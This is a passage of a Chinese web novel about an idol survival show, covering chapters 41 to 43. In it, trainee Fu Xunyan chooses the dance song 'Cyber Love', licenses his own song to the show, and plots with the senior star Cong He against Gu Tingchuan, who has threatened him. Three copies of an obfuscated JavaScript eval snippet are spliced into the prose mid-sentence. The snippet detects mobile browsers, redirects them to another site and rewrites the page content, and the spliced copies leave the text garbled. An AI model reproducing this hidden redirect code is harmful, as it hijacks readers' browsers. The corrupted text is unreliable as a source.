傅寻砚笑着弹了一下尹星蘅的额头,“不行哦,dance,而且想选比较新颖的、强烈的。” 他已经给了暗示。 等在一号小房间快速取下《赛博之恋》的牌子后,傅寻砚便走入了等候室。 门推开,叶莱一下子跳起来,他故意站在rap曲目下,忍着笑意看傅寻砚,头微微扬起,似乎想看傅寻砚大吃一惊的表情。 高瘦的青年走过来,离他只有三步的距离,叶莱反倒有些心虚后退。 紧接着胳膊被拉住,不知不觉脚步就挪了地方。 “你在这,我猜得没错吧?” 叶莱有些昏沉,他觉得大概是傅寻砚身上的味道害的,明明是个男生干嘛喷那种雪松味的香水…… 转头,看见身后的《月光》,叶莱努了努嘴,却几乎掩饰不住笑意。 “你怎么知道我选了这个?” “你猜?” 这是第二个“你猜”,叶莱翻了个白眼。 “那你呢?也是月光?” “你想和我一组?” 叶莱沉默了两秒,看着地上说“倒也不是很想。” [完了……] [完了……] [???叶妈们怎么了?] [追了孩子三年的叶妈觉得很不对劲……我儿什么时候这么别扭过啊?] [叶莱出道三年,战绩可查,在各种cp组合中一直都是左位并且从来都只有他钓别人的份,就问,为什么一到傅寻砚面前就莫名娇羞?] [我磕到了!这次我真的磕到了!“寻叶”是真的!] [真的,本叶妈发誓从来没看见孩子这么那啥过,叶子你站起来啊!你是猛A不是小女孩!] [海妈悄咪咪说一句,事实上我感觉每个人站在傅寻砚面前都莫名娇羞,明明傅寻砚也不比他们高……] [是的,而且寻宝的年龄也是忙内line,可能是因为经历吧。寻宝看起来比其他人都成熟,就是有一种很可靠的气质] “《赛博之恋》。”傅寻砚从身后拿出藏起的纸条。 叶莱脸上的失落肉眼可见,一直到后面好几个人进来都没调理好,惹得叶妈已经顾不上第一第二之争,纷纷在弹幕安慰。 [不过寻宝怎么会选《赛博之恋》?完全没想到诶] [可能想尝试新东西吧,话说你们不要被主题曲和一公的寻宝骗了啊,谁还记得他初舞台是走性感风的嘛?] [啊这么一说是哦,主要是一公太惊艳了,把之前的记忆冲刷掉了] [寻宝可能性无限!请大家期待吧~] [《赛博之恋》的原曲也有点一般,不知道寻宝这次会怎么改] [??那岂不是又要经历一周卷生卷死?心疼了] [啊啊啊旻海能不能求你也选这个!一个编曲一个编舞刚刚好,支援一下寻宝吧切拜!] 傅寻砚乖乖在《赛博之恋》前盘腿坐下,没有化妆的他干净如雪,脸蛋白净,一点也没有因为熬夜变得气色暗沉,让一众工作人员都感到费解, 失去了妆容加持的他有一种特有的安静,独特的疏离感被放大,仅仅坐在那里,眼睛一睁一眨间都像在诉说故事。 达裴和尹星蘅他们早就和傅寻砚交了底,不可能跑来dance。沈迟在宿舍说很想和傅寻砚一组,但傅寻砚给了别的建议。 “小迟,你还是选vocal比较好。”他盯着沈迟,“刚刚的一公舞台你虽然完成的不错,但你没有让观众看见你最大的魅力,进入1pick阶段会很吃亏。” 是的,沈迟的排名看似上升迅速,但其中有多少是204宿舍其他人的粉丝在3pick阶段带他的,不得而知。 他必须尽快收获自己的唯粉。 沈迟抿了抿唇,虽然脸上有些不甘心,但最后还是同意了。 白闻及也打算选vocal,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311024|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公他得到了欧若老师的肯定,私下还开了一节课小灶,成功燃起了兴趣。 傅寻砚坐在那里,面无表情,他在想,当他变了选择后会带来什么样的改变。 恰在此时伯弥进来了。 叶莱和傅寻砚与他不熟,所以并不像刚刚那样玩闹,以至于伯弥一进来就发现自己与这两人选择不同。 他的失落几乎是立刻暴露在脸上,而且眼神只盯着傅寻砚。 他将小手卡反过来,上面写着《雅雀无声》。 “很好的选择。”傅寻砚暖场。 “你很会演戏,《雅雀无声》有非常适合你发挥的地方。” “谢谢。”伯弥小小地笑了,看上去很羞涩,又忍不住被肯定的欣喜。 [伯弥选dance啊……嘶,为他的队友担忧] [神经吧在这唱衰] [傅寻砚都鼓励他了,网友能不能善良一点?] [众所周知寻宝是个超暖心的全自动鼓励机器] [你们难道没有发现叶莱的表情吗……就很微妙不是吗?自从傅寻砚看向伯弥之后,脸一下子就垮了] [叶莱:撞号了!] [绝了,叶莱和伯弥外形气质真的很像,完了,这下第二被第一和第三双胞胎夹心了] [夹心?什么夹心?(满脸通黄)] 旻海进来的表现更是好嗑,他直接理都不理其他人,一个健步就冲到了傅寻砚这里将他紧紧搂在怀里。 “我选对了是不是!我肯定选对了!” 然后才小心翼翼掀开眼皮看向墙上的四个字,确认后更是笑的牙龈全露,完全失去外表的酷哥感。 [呜呜呜豹豹猫猫我出生啦!] [?旻海到底什么时候和傅寻砚感情那么好的?我印象里他们好像没什么交集呢] [咳咳内部消息哈,听说一公前某个深夜,有两个练习生在楼梯间谈心长达一晚上] [楼梯间!斯哈!视频在哪里?音频又在哪里!] [喂喂喂别想歪,那个友友告诉我那段谈话真的很伤,跟青春伤痛纪录片似的,不过结局就是海被寻劝好了,而且意思叶和伯都偷偷摸摸在场听了全程,却没现身……] [!] [!!] [!!!] [呃傅寻砚还真是《新世纪》心理医生啊?付他双倍工资吧] 等来了旻海,傅寻砚的心里已经松了很大一口气,随着周恒宇和Kenny都不在组里后,他更是难得舒心。 但万万没想到周奇,这个神奇的人物来了。 “很有缘分,我也选了《赛博之恋》呢。”周奇笑盈盈地将手卡亮给他们看。 旻海的表情一瞬间僵化了,傅寻砚佯装揽肩把他调转了方向。 叶莱也注意到了这边的动静,走过来站在周奇和他们之间随意聊天。 旻海很快收拾好情绪,毕竟上次傅寻砚出手及时,他和周奇之间什么也没发生。现在只是有些为之后的合作心烦。 《赛博之恋》的编舞很难,肉眼可见的难,所以很少有练习生敢来挑战,周奇进来之后,这一组经历了很长一段时间的空白。 Dance中《月光》最先满员,毕竟这是一首古风曲,在国内表演很有优势,可以说是dance组的最佳选择。 江瀚跑进来时与旻海表现一样,直接冲进傅寻砚的怀里,他在傅寻砚耳边小声嘀咕。 “怎么样,哥聪明吧,完全get到你的意思了?” 傅寻砚搂紧了一些,“你……想和我一组?” “当然啦,好兄弟不得合作一次啊。”江瀚拍拍傅寻砚的肩,随后放开。 傅寻砚嗫嚅,本想问他在排名公布时说的那番话,但还是没能问出口。 因为江瀚现在看起来好开心…… 副导演钱秋生看着镜头,很惊讶《赛博之恋》也在白镇进来后实现了满员。这首歌的编舞难度极高,放在以前绝对是要留到最后一个被填满的,谁知道…… “还是因为傅寻砚吧。”身后的助理嘀咕。 “不说周奇,旻海、江瀚和白镇,怎么看都很信任傅寻砚,不过他们怎么知道傅寻砚会选这首歌?” 41.第四十一日 周六,二公备赛正式开始。 留给男孩们的时间只有一周,周四要彩排,周五就要正式登场。 在这些开始前,沈子卿、钱秋生以及杨清等人特意叫傅寻砚过来开了个会,练习生们议论纷纷,都在猜测是不是打算直接做票让傅寻砚登顶,甚至有人过来叶莱这里挑拨离间。 叶莱冷冷扫了那两个练习生一眼,留下一声轻嗤便走。 自从周四回来后,傅寻砚的情绪一直不好,虽然他从不表现出来,但和他关系较好的几个都有所感知。 不同寻常。 旻海和尹星蘅还有江瀚早就混入204宿舍,故意过来打探,但得到的消息是他们也不知道发生了什么。 “唉古,咱们的寻宝真是让人操心。”旻海叹气,揉了揉自己的寸头。 “对了旻海哥,你怎么把它染红了?” 大家的眼神都往旻海头上去,之前的银灰变成了热烈的红,为旻海带来了一种野性。 旻海挑眉,“想给大家一些新鲜感吗?而且寻宝他也同意了,我还打算打一个眉钉呢。” “现在吗?不好吧,来不及愈合啊。”达裴提出疑问。 旻海很失望,“对啊,时间来不及,所以只能弄假的,到时候贴一颗。” “你们的《赛博之恋》到底要搞什么?这也太超前了,又是红发又是眉钉的。”沈迟有潮人恐惧症,恨不得坐得离旻海远远的。 白闻及刚想说话,又在门口看见一晃而过的影子,他叹了口气,开门把人抓了进来。 “干嘛?”叶莱愤怒,挣脱白闻及的手,却见那人靠在门框上,一脸鄙夷。 “怎么,叶莱前辈这么喜欢偷窥?下次直接敲门进来不就好了,干什么总要我请你。” “来来来。”尹星蘅拍拍身边的位置,一点也不觉得叶莱和他们之间不太熟。 “寻砚快回来了,一起等吧。” 叶莱本来想走,但听到尹星蘅的这句话,也就抿唇坐下。 “怎么幻视再评级那会儿了。”沈迟挠头,环视一圈发现了华点。 达裴也醒悟,“还真是,又是咱们几个。” 众人点头,心里却迸发一种奇妙的感觉。 大约十分钟后,傅寻砚回来了,眉眼低垂,神情是一贯的沉静,开门才发现宿舍里坐满了人。 “怎么都在这里?” “不是担心你嘛。”达裴一把拉过傅寻砚,将他按在中间。 “昨天问你你没说,我们也不想逼你,但今天节目组都把你叫过去了,事情肯定不小。”达裴停顿了一下。 “如果你愿意,说给我们听听吧,人多力量大说不定能帮上忙呢。” 傅寻砚扫视一圈,大家的担心不是作伪。 要说吗? 抛却所有利弊的权衡……他是想说的。 “嗯,第一件事是二公的安排,节目组会加大投入,聘请了几个新的编曲师,所以歌曲质量有提升。” 哦,大家点头,但旋即意识到不对劲。 “这件事,是节目内部安排吧?跟你有什么关系?”白闻及问,然后骤然起身,眉目严肃。 “你是不是答应他们什么事情做了交换?” 傅寻砚没说话,薄唇轻抿,像是三月末的樱花拨开涟漪,却最终沉入湖底。 江瀚着急地握住他的肩,“你答应什么了?干嘛要答应他们啊!” “先别急。”达裴难得沉稳。虽然他一贯看起来是最跳脱的那个,但,有时正是为了隐藏骨子里的深沉。 “傅寻砚。”他看过来,“你别骗我们,到底答应了什么?” “一首歌。” “什么歌?” 达裴与江瀚想起什么,交换了个眼神。“不会是那首歌吧?” “对,要授权给节目组免费使用。” 达裴和江瀚一时间也不知道说什么好,其他人则不明白“那首歌”指的是什么。 “是你的自作曲吗?”白闻及想起经常看见傅寻砚在本子上写写画画,“你不会出让了自作曲的版权吧?” 尹星蘅和叶莱扣住膝盖,眼神也焦急起来,在场之人中,他们两人最懂“自作曲”的含金量。 “没有让出全部版权,只是授权使用而已。”傅寻砚解释。 “那也不行啊,明明是你自己的成果,干嘛交换给节目组?”尹星蘅搞不懂傅寻砚这么做是为了什么? “不行,你现在去和他们说,不让。”尹星蘅抓住傅寻砚的手,试图将他拽起来出门。 然而达裴和江瀚更快地抓住了傅寻砚的另一边手臂,“尹星蘅你别急,等一下。” “等什么?”尹星蘅火冒三丈,看着坐着的几个人,语气里不乏失望。 “你们什么意思?所以我们就可以躺在寻砚的成果上享受好处吗?如果想要舞台出圈,你们不能自己努力吗?让寻砚出钱出力?” “凭什么呢?从进入节目开始,寻砚的一切都是他自己争取来的,澄清也好、别的也好,我们根本没有帮到他半点,节目靠寻砚火起来,我们已经坐享其成了,所以现在还打算干嘛?” 尹星蘅的眼眶里有了湿润,他努力屏住喉咙的酸涩,强行让激动的眼泪全部回去。 深呼吸一口气,“反正我不同意!” 说着又开始拽傅寻砚的手臂,拼命带他出门,但下一刹那,他感受到了来自手中的阻力。 尹星蘅回眸。 那狭长的眼眸里印出了自己的狼狈,越是如此,那个人反而更是清冽如云水。 “我知道你的意思,也感谢你为我考虑。”傅寻砚的声音一如往常稳定,仿佛这个世界就没有什么难处能让他感到挫败、失落或伤心。 “但我也是为了自己。” “你太过高估我的能力了,尹星蘅。” “就算节目组不提,我也会把那首自作曲卖给他们,可到时候少不了交涉,不如这时候顺水推舟。” “放眼国内,我们这样的偶像行业的自作曲,哪首真正能够出圈?如果节目火了,我将自作曲给他们反而是乘上东风,有成为爆款的可能。” “这已经不是几年前靠实力就能出圈的时代了,星蘅。” “一个人的力量很薄弱,所谓的流量,就是将作品推到大众眼前,靠营销出来热度再去转化为真正的热度。” “我需要节目这个载体,更需要大家为作品赋能。” 他轻笑,“往好了想,这是互惠互利,我还能把钱用在二公舞台上……虽然分给周恒宇他们是有些不甘心,但分给你们我很乐意,就当请你们吃饭了不好吗?” 哪能这样比?一顿饭值几个钱,你一首歌值多少?坐在房间里的每个人都这样想。 但他们没法拒绝。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15317074|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 人都有私心。 可这件事不能再放到明面上继续讨论下去了……达裴皱起眉,在想办法不让这件事成为往后彼此之间的疙瘩。 “这样吧。”达裴站起来,嘻嘻哈哈的神情完全从他脸上消失。 “寻砚决定这样做了,受益者是我们没错吧?尹星蘅我明白你的性格,你有你的坚持,但我和你不一样,如果寻砚愿意‘投资’,我肯定是乐于接受的。” “你骂我也好,怎样也好。我就是这样的人,我想要向上爬,只有在上面站稳脚跟,才能更好地回报不是吗?” “我不会让他白白付出。节目里的其他选手我们约束不了,但此时此刻,在这个房间里的每一个人,以后应该怎么回报寻砚,都有点数吧?” 达裴扫视了一圈,这个房间里的人们个性如何,在这一个月里彼此都看得清楚。 他们不知不觉中就如同一团火,因为中心的傅寻砚而被吸引过来。 “我赞成。”白闻及出声。 随后一个个人都应声,连叶莱也是如此,他站起来看向尹星蘅。 “你也别太自视甚高,觉得除了你以外我们都是白眼狼,我叶莱还不屑于做那样忘恩负义的人。” 尹星蘅抿住了唇,他感到了无与伦比的拉扯感。 一方面,他们说的很对。 现实就是这样,傅寻砚的付出=节目组的更大投资=他们舞台成功的概率上升=大家更大的进步=未来回馈的可能。 而如果他尹星蘅从头斩断,对傅寻砚,对大家来说都没有好处。 可另一方面,他很难说服自己接受,或者说他很难相信,这个房间里的其他人会和自己一样说到做到,未来不会背弃傅寻砚,不会视他的付出为无物。 跟别提六十个练习生里的其他人了,他们甚至不知道傅寻砚付出了什么…… 看着尹星蘅的表情出现动摇,傅寻砚也知道他不会再如此强烈地反对。 “其实这件事不是重点,重要的是另一件事。” 大家惊讶地看过来,无法相信有什么事会比上一件更需要考虑。 他们难得从傅寻砚的脸上看到名为“挣扎”的神情,然后便听到了关于顾廷川的威胁。 …… “艹!”几人齐齐骂了脏话。 达裴的脖子上憋出了青筋,脸上的愤怒满溢出来。旻海和江瀚担忧地看向傅寻砚,叶莱一脸不可置信,而尹星蘅和白闻及更是惊愕地放下了手。 沈迟急切站起来,“那怎么办?万一他真的编造谣言中伤,是不是会很严重?” “已经在联系公司处理了。”傅寻砚摸了摸他的脑袋,“目前看来反馈不错,不论是Patrox还是欧瑞,都愿意帮忙阻止顾廷川。” “节目组叫我过去最重要的事情也是这个,他们答应在这件事上尽力维护我。” “那还好。”叶莱松了口气,“欧瑞的公关很好用,而Patrox应该也……很有经验了。” 简直是地狱笑话,几个人没忍住终于露出了笑脸,哪怕看起来仍然心事重重。 尹星蘅忧虑地看了傅寻砚一眼,却在转眸中扫到了达裴的表情。 那是一张仿佛被愤怒凝固后的脸,虽然爆发的火山已经归于平息,空气中浮动的烟雾和四散的尘埃依旧遮天蔽日,将世界变得晦暗死寂。 心中隐隐不安。 42.第四十二日 “又是这个熟悉的环节哈哈。”旻海坐下,身边放置着C位和Leader的贴纸。 “大家也过来吧,我们还是先把位置定了。” 几人乖乖坐过来,旻海招手,“寻砚,这里。” 然后一把将他摁在自己身边。不知道从什么时候开始,旻海总是无法接受身边坐的不是傅寻砚,或许这就是习惯。 傅寻砚乖乖坐下。 周奇心中一动,直线走过去,半路被一阵旋风刮走。 “我来啦我来啦!”江瀚快乐地冲过来,一屁股挤到傅寻砚的另一边。 望着他单纯无辜又……愚蠢的眼睛,傅寻砚笑着递给他一张纸巾擦擦额头的汗。 “你去哪里了?” “健身房啊,你布置的任务我可从来都是立刻执行呢!” 然后像是完全没意识到镜头还在,一把抓住傅寻砚的手摁上了自己的腹部。 被粉丝动物塑成萨摩耶的男孩兴奋地念叨,“有没有?有没有?我丢失的腹肌有没有回来?” 手心除了滚烫,就是一大片软肉,傅寻砚好笑地推开他,“不好意思,大概它们在回来的时候迷路了。” 江瀚失望,江瀚打滚。 “怎么办呢,还有五天我真的能练回来吗?” 旻海安慰:“理论上是可以的,你加油。” 听着他们讨论,周奇无比心虚。 《赛博之恋》组员确定后的晚上,傅寻砚便找大家开了个小会,大概阐述了一下对歌曲的理解与安排。 明明他又不是队长,根本没那个权力说三道四,偏偏那三个家伙是他的拥趸,一点反对意见都没,周奇也只好把质疑吞下肚子。 其中最重要的一条,傅寻砚希望大家加强健身,原本有肌肉的一定要更饱满紧实好看,原本没有的(单指周奇),也要尽量。 白镇虽然一直被诟病为长着好脸的透明人,但实际心里对这些事情都门儿清,瞥了一眼周奇尴尬的神色,在心中冷嗤。 一时间,那张面孔倒突然有几分酷哥的感觉。 等来到了C位的竞选,大家又开始沉默。在东方文化背景之下,很少有人会欣赏太过自信的角色,如果附加竞争意识强,则更会被批判为掐尖要强。 傅寻砚不考虑这些,直接举手,透黑的瞳孔扫视一周:“我想竞选C位,理由是我很喜欢这首歌,也很喜欢C位的part。” “我也是。”旻海笑着举手,“所以我也参与竞选。” 江瀚看了看两人,缩着脑袋伸手,“虽然我对自己的唱功还不自信,不过舞蹈我也不会示弱哦。” 白镇沉思了一下,“你要这么说,我也要,我b-boy十二年的功力可不是摆着不用的。” 四双眼睛全都盯上了最后剩下的人,周奇满头汗水,格外后悔选歌时做的决定。 当时他就坐在旻海和傅寻砚不远处,别有心思的他早就盯着这边,自然也读出了傅寻砚的唇语。 看见四首dance曲后,在《黑客联盟与情报局》和《赛博之恋》间稍作挣扎,他还是觉得傅寻砚会选后者。 就来了。 当时满脑子都在想着怎么靠近傅寻砚,完全没有思量到——想和傅寻砚一组的人会那么多,而且都是大舞担! 这下糟糕的事情发生了,他成了队伍里绝对垫底的存在。 现在争C,搞得好像他特别不自量力,不争,又会成为唯一的定票选手,他选谁谁就C位,很可能被另外三家骂死。 周奇嗫嚅,一时间僵在这里。 最后还是旻海提议,投票采取五人制,但不可以投给自己,到时候谁票多谁就是C位。 结果显而易见,傅寻砚几乎全票当选,他自己的那票投给了白镇。 旻海和江瀚不为没得到C位难过,反而追着傅寻砚问为什么不给自己。 “只是因为觉得白镇很合适啦。”傅寻砚笑着解释。 “感谢傅哥的肯定!”白镇顶着那张毫无表情的脸说这种话,总有种微妙的喜感。 由于舞蹈特别难,他们组在确定旻海的Leader地位后,立刻开始了排练。等到晚上十点,除了周奇之外的四人都已经把整个舞蹈记住,只剩下抠细节。 周奇就像是个混进尖子生班的渣生,不是这里跟不上,就是那里跟不上,不过没人责怪他。 旻海只是叮嘱他明天继续加紧练习,保证在周三前把所有动作背下来。 周奇累了个半死,本来还打算在摄像机面前卖卖的他现在湿漉漉躺在地上只能喘气。 这群怪物! 十点之后是自由练习时间,傅寻砚去卫生间洗了把脸,打算把歌背一遍,但一名选管突然气喘吁吁冲到他面前。 “傅、傅寻砚,有人找你。” 谁? 当进入待机室看到那个戴着墨镜的身影,傅寻砚心里有一种果然是他的淡定感。 对方墨镜都来不及摘,迈着大长腿就走过来扶住了他的肩。就算看不见表情,想必也是一脸愧疚。 “寻砚!真是抱歉,我没想到那人居然是这种货色!” 毫不在意自己的形象,丛赫当着一屋子工作人员的面接连爆了一连串粗口,情绪仍然很不稳定。 傅寻砚拍了拍他的肩,将他送到位置上坐下,又去咖啡吧泡了杯茶,勉勉强强将丛赫的情绪舒缓下来。 男人以手抵住眉心,痛苦地思索着什么。 “寻砚,顾廷川那边你不要着急,我来想办法。”丛赫抬头,面孔的成熟里多了冷冽,打破了他维持十几年的平静。 “我不会放过他的,他以为自己有点成绩就能这么为非作歹?” 身边的助理忍不住告诉丛赫,人家不仅有成绩,还有背景。 “那怎么了?不就是手里有点钱,有两家公司么?呵。”丛赫高贵冷艳地轻蔑一笑,旋即拨通了一个电话。 待机室里安静不同寻常,数十名工作人员听着嘟嘟的电话声,思索自己到底要不要先溜出这个气氛诡谲的地方。 对面很快接通了。 “阿赫?你回国内了?回来了怎么不跟兄弟几个说一声呐?哪天找你喝酒去啊?” 丛赫笑着骂了几声,制止了对方的喋喋不休。 “喝酒的事先放着,我想请你帮个忙。” “哈?你让我们帮忙还要请,直接说,兄弟几个绝对随叫随到!” 副导演钱秋生在一旁瞳孔地震,这个嗓音……不会吧…… 撂下电话,丛赫的愤怒依旧未能平息,但当眼神扫到傅寻砚的身上,终于被神奇地安抚下来。 他的助理这才反应过来,将周围一干人等赶出了待机室,包括钱秋生这位副导演。 男人垂下了头颅,明明这件事里他不是加害者也不是受害者,此刻神情却比谁都要脆弱。他的眼角微微泛着红,眼中的晶莹却是赶在危机前将之扼杀的庆幸。 这里没有光线,些许腐朽发霉的气味始终飘荡在室内,看不见的微尘在身畔洋洋洒洒落下。 他静静地坐着,好像隔绝了整个世界的喧嚣,包括傅寻砚也被他隔绝在外。 眼珠一片黯淡,往日的神采早已褪去,只剩下无尽的疲惫与迷茫。放在杯侧的手指下意识地轻轻摩挲着,像是想要抓住些什么,却又一次次落空。 他发病了。 傅寻砚没法视而不见,他走上前,动作轻柔地揽住了这位大他十几岁的前辈的肩膀。 “丛哥,冒犯了。” 依旧没有反应。 傅寻砚在心底深深叹息:“丛哥,不管是之前的事情还是这次的,其实我都做足了准备,即便没有你帮忙,我也能全身而退。” “可我很感谢你愿意来这里。从我的角度看,你只是合作了一次的大前辈,你肯为我动用资源出头,我真的很感谢你。” “你是个好人。” 听起来像是在发好人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15329894|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡,傅寻砚哂笑一声。 “没有什么不好的意思,我觉得你真的很好,很让我敬佩,嗯,我会以你为榜样在这个圈子奋斗下去的。” “榜样?”臂膀中的人终于张开了嘴,他的声音有些喑哑,那双被水湿润过的眼眸看向傅寻砚。 “不,我算不上什么榜样,我没能……我没能做到很多事。” 然而青年的脸突然严肃起来。 丛赫从未见过傅寻砚这副神情,他看过前几期节目,节目中的傅寻砚有一种难言的疏离感,不管面无表情还是笑着,总让人觉得他好像抽离在世界之外。 可这一瞬间不同。 傅寻砚好像真实地站在这里。 “你做到了,如果今天你不来,说不定明天我就死了。” 丛赫一愣。 然后终于笑了,他推开傅寻砚的手臂,“别骗我了,你刚刚才说过没有我也能全身而退。” 青年歪了歪头,面上露出从未见过的灵动,他给了一个wink,终于有点年轻人的活泼。 “不一样的,丛哥你是我的精神支柱。” “别耍嘴皮子啊……”丛赫捂住脸,眼眶里的水珠被擦拭在了手掌心。 他终于从情绪的漩涡里挣脱出来,有些不好意思——明明他是来帮傅寻砚的,结果不知怎么的完全变成了傅寻砚帮他…… 算了算了,反正以后有的是机会。 丛赫的神色平静下来,他端正了一下坐姿,直视着傅寻砚的双眸。 “可以和我说说你打算怎么弄顾廷川吗?我昨天调查了一下,在你之前他也搞黑了几个十八线小明星,估计说到做到。” 青年垂眸,光线聚集在他纤长的睫毛上。 “其实,我录了音。” 啊?丛赫有些惊讶,“你录音了?” “对。”傅寻砚笑了笑,“就当我有被害妄想症吧,和突然砸上门的资源交往的时候,我会比较谨慎。” 该不会……丛赫眯起眼睛,傅寻砚连忙摆手解释。 “没有哦,我对丛哥可没有做过这种事,因为很相信林薇薇女士的人品嘛。” “只是因为林薇薇?”丛赫更不爽了,“喂,哥一看就是大好人好嘛?” 傅寻砚只好求饶。 “总之,我录了音,但丛哥你也明白,如果不到鱼死网破的地步我不能把这份录音公布出来,否则圈内对我的评价都会直线下降。 但如果和顾廷川私下交底,难保他不会因为后顾之忧而暗地里采取行动。” “所以……” “所以我的想法是,要让顾廷川先看见我在录音之外有足够的能量对付他,然后以录音为底牌,从而透露出我可以毁掉你但又不屑于那么做的意思。” “这样一来,他就会放松警惕,给我足够的时间。” “你要时间做什么?”丛赫有些疑惑。 “搜集证据,他打压其他艺人的证据,以及权色交易的证据。” 听到这,丛赫的手指蜷曲起来,以一种分外陌生的眼光看向了傅寻砚。 “我本来以为你只想保住自己的,没想到,你居然想彻底干掉他吗?” 青年长身玉立,脸上的表情突然多了些莫名的笑意,让人有些胆寒。 “啊,本来是不想的,圈内这种交易你情我愿,永远无法根除。但他把威胁说出口,事情的性质就完全不同了。” “丛哥你稍微调查一下就能发现被他毁掉的艺人,看来他还是太过肆无忌惮。” 丛赫看着他。 “既然你决定这么做了……我来帮你。” 眼看着傅寻砚轻启薄唇,丛赫急忙补了一句:“不要拒绝好吗?” 是的,我要帮他。 曾经的丛赫无法帮助陆凌科,而现在的丛赫,绝不能再错过帮助傅寻砚。 青年静静看着他,半晌露出一个不带笑意的冰冷笑容。 “嗯,好。” 43.第四十三日 基地里哪有不透风的墙。 丛赫下午刚来,晚上的时候剩下的五十多名练习生全知道他来看望傅寻砚了,一时心里五味杂陈。 这个傅寻砚怎么那么好命? 不过他们全然不了解丛赫与傅寻砚的谈话内容,只知道丛赫在待机室骂了人,所以摸不准这两人间到底发生什么。 他们只好偷偷摸摸关注傅寻砚,以此来窥探待机室里的秘密。但很可惜,这位卷王又开始复刻他的一公,整天不见人影,问就是在练舞。 傅寻砚确实在练舞。 这首歌是他在整个比赛期间最喜欢的一首歌,上一周目很可惜错过,这次说什么都要发挥到完美。他不断调整着自己的动作,对着镜子一点点做表情管理。 傅寻砚跳舞不算专业,他是在被李鹏程挖掘后才开始学习舞蹈的,不过大概天赋异禀,仅仅一年时间他就超越了一些练习生十年的功力。 尤其是isolation的技巧,因为核心很强加上健身习惯,傅寻砚将之做到了极致,这也使得他的舞蹈看上去观赏性很高。 如果不说,没有人会觉得他的练习时长只有一年,甚至很多舞者都以为他是同行。 但饶是如此,在细节方面,比起旻海、白镇和江瀚,他依旧有欠缺。可这次他是C位,他必须把所有动作完成得淋漓尽致。 江瀚推门进来,将手里的蛋白棒递给傅寻砚,表情充满了担忧。 “你真的不打算吃饭吗?还有五天,这样节食会饿死吧?” 高个的青年摇了摇头,或许是江瀚的心理作用,总感觉傅寻砚的脸颊在两天内就消瘦了许多。 “没事的,我有数。”傅寻砚掰开蛋白棒的包装纸,随便就着水喝了下去,眼神茫茫看向窗外。 他在想,顾廷川会以什么方式对付他。 说来也奇怪,明明顾廷川要做的是一件完全不利于他的事情,傅寻砚却对此有所期待。 为什么? 可能是因为人生在参加节目后迈向的不同轨道,让傅寻砚有了微妙的恍惚——到底何者是真实。 不过思考这些好像也没什么意义,傅寻砚把吃完的包装扔掉,又开始了练生练死。 晚间有选管过来叫人,听说是安排了打电话给家人的环节。 哈? 青年走出了楼。 现在已经到了盛春时节,哪怕是坐落在荒郊野岭的基地,也呈现出一片生机盎然。老师上课时气急了会骂练习生,你听听你唱的连鸟都不如! 群鸟无辜啁啾。 各种花枝就像疯了一样从院墙外长进来,新砌的墙上那么浓的甲醛都拦不住,各种颜色的花苞挤挤挨挨错落着,让一些花粉过敏的站姐烦恼不堪。 在那些光影、花枝的阻碍中,青年的身影依旧那么好辨认,几乎是一出现,就被好几位站姐叫名字。 陈敛清也在其中。 她们不知道他要去干什么,只知道这可是排名之后傅寻砚第一次露面,于是匆匆安慰他,大声表达着爱意,让他不要怀疑地继续走下去。 下一次,一位一定属于他,和她们。 薄雾里的青年像是老旧磁带突然卡顿,身体顺着惯性前倾后又拉回来,微微侧身又侧眸。 周遭又是一大片吸气声。 那张面容太干净了,干净到如画里唯一的黑白,远在天边又近在眼前。 他不是叶莱和伯弥那款清新男大,他明明是初舞台时的慵懒魅魔,但一旦褪去妆容,褪去为了舞台刻意营造的氛围,大家会发现他甚至更安静。 像深潭里的水,透明而安静。 那双眼眸不需要闪光、不需要眯起、不需要任何的动作,便有绵绵不尽的情绪从那里流出,倾泻向盯着它们的人,每个人都能感受到一种心脏的钝痛。 不是因为从中体会到任何负面情感,只是因为美极、盛极,而因此哀极。 他戴着帽子,身侧有一名选管在催促,站姐们只能看见他重重点头,然后离开。 “啊啊啊寻宝刚刚是点头了对吧!他一定听见我话了!” “我让寻宝嫁给我,他同意了诶!” “亲爱的,做梦醒醒好好嘛,寻宝和我才是一对!” “呜呜呜你们只关心寻宝爱谁,只有我心疼他的身体,怎么好像又瘦了?” “二公寻宝不打算做造型了?还是黑发吗?” 陈敛清不语,只是一味查看刚刚拍到的照片。 虽然傅寻砚在人气爆发后又有了很多个站以及数不清的小站姐,但陈敛清的地位是公认的最高,毕竟所有的神图都是在她这里诞生的。 204四人图、巴士上车图、主题曲时的衬衫少年图,以及一公的雨夜蓝白图,陈敛清总是能抓到傅寻砚最美的一刻。 